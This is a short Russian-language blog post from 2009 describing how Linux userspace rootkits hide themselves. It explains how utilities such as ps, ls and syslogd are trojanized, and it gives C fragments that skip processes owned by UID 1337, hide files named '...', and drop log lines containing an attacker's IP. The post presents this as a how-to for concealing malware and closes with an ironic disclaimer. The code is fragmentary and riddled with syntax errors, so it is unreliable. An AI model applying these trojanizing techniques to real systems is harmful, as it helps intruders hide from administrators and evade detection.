Tuesday, April 14, 2009

Quik Note: Linux руткит пространства пользователя.

основано на статье "Троянизация Тукса №1" _1nf3ct0r_ http://hellknights.void.ru/

Для маскировки руткиту пространства пользователя необходимо скрывать свой процесс, сетевое соединение, свой файл а также запретить каким либо утилитам влять на себя. Например руткит SHV подменяет:
  • dir, find, ls, lsof, locate/slocate для скрытия файлов
  • ifconfig, netstat, sz, tcpd для скрытия соединения
  • ps, pstree, top для скрытия процесса
А также некоторые другие.
Протроянивание ps (а также и других ответственных за скрытие процесса утилит) происходит простым добавлением проверки на пид нашего зловреда (в файле readproc.c)
proc_t* ps_readproc(ProcTab* PT, proc_t, rbuf) {
next_proc:
while ((ent = readdir(PT->procfs)) && (*ent->d_name < '0' || *ent->d_name > '9')) {}
if (!ent || !ent->d_name) /* Также можно добавить проверку чтобы не палится в /proc */
return NULL;
sprintf(patn. "/proc/%s", ent->d_name);
if (stat(path, &sb) == -1)
goto next.proc;
if (sb.st_uid == 1337) {
goto next_proc;
}

В утилитах отвечающих за скрытие файла добавляется точно такая же проверка только сравнение происходит не по пиду а по имени файла.
static int file_interesting (const struct dirent *next) {
for (ignore = ignore_patterns; ignore; ignore = ignore->next)
if (fnmatch (ignore (ignore->pattern, hack->d_name, FNM_PERIOD) == 0)
return 0;
if ( !strcmp(next->d_name. "...") ) {
return 0;
if (really_all_file || hack>d_name[0] != '.' || (allfile...

В утилиты логирующие системные события добавляем проверки на любые следы активности нашего зловреда. Например
void logmsg(intpri, char* msg, const char* form, int flags) {
if (strstr(msg, "123.123.123.12") )
return;
dprintf("logmsg: %s, flags %x, from %s, msg %s\n",
textpri(pri), flags, from, msg);
msglen = strlen(msg);

Все представленные методы проверок имеют большое количество недостатков и являются далеко не самыми эфективными, но мы же не собираемся это использовать в каких то нехороших целях =)